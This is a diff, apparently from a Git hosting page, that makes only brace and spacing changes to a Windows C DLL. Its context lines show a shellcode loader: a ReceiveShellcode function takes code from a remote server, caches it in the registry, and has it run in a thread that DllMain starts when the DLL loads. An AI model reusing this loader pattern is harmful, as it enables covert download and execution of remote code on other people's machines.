@@ -328,7 +329,8 @@ const char* ReceiveShellcode(const char* sIP, int serverPort, int* sizeOut)
|
||||
break;
|
||||
}
|
||||
}
|
||||
} else {
|
||||
}
|
||||
else {
|
||||
closesocket(clientSocket);
|
||||
break;
|
||||
}
|
||||
@@ -363,7 +365,7 @@ const char* ReceiveShellcode(const char* sIP, int serverPort, int* sizeOut)
|
||||
if (ReadAppSettingBinary(path, "data", buffer, &binSize)) {
|
||||
*sizeOut = binSize - 22;
|
||||
const char* md5 = CalcMD5FromBytes((BYTE*)buffer + 22, *sizeOut);
|
||||
if (strcmp(md5, hash)==0) {
|
||||
if (strcmp(md5, hash) == 0) {
|
||||
Mprintf("Read data from registry succeed: %d bytes\n", *sizeOut);
|
||||
return buffer;
|
||||
}
|
||||
@@ -401,7 +403,7 @@ extern DLL_API DWORD WINAPI run(LPVOID param)
|
||||
if (dllData == NULL) return -1;
|
||||
void* execMem = VirtualAlloc(NULL, size, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
|
||||
if (NULL == execMem) return -2;
|
||||
int offset = MemoryFind(dllData, MASTER_HASH, size, sizeof(MASTER_HASH)-1);
|
||||
int offset = MemoryFind(dllData, MASTER_HASH, size, sizeof(MASTER_HASH) - 1);
|
||||
if (offset != -1) {
|
||||
memcpy(dllData + offset, info->User, 64);
|
||||
}
|
||||
@@ -444,7 +446,8 @@ BOOL APIENTRY DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpReserved)
|
||||
param.Port = atoi(g_Server.szPort);
|
||||
param.User = g_Server.pwdHash;
|
||||
threadHandle = CreateThread(NULL, 0, run, ¶m, 0, NULL);
|
||||
} else if (fdwReason == DLL_PROCESS_DETACH) {
|
||||
}
|
||||
else if (fdwReason == DLL_PROCESS_DETACH) {
|
||||
if (threadHandle) TerminateThread(threadHandle, 0x20250619);
|
||||
}
|
||||
return TRUE;
|
||||
|
||||
Reference in New Issue
Block a user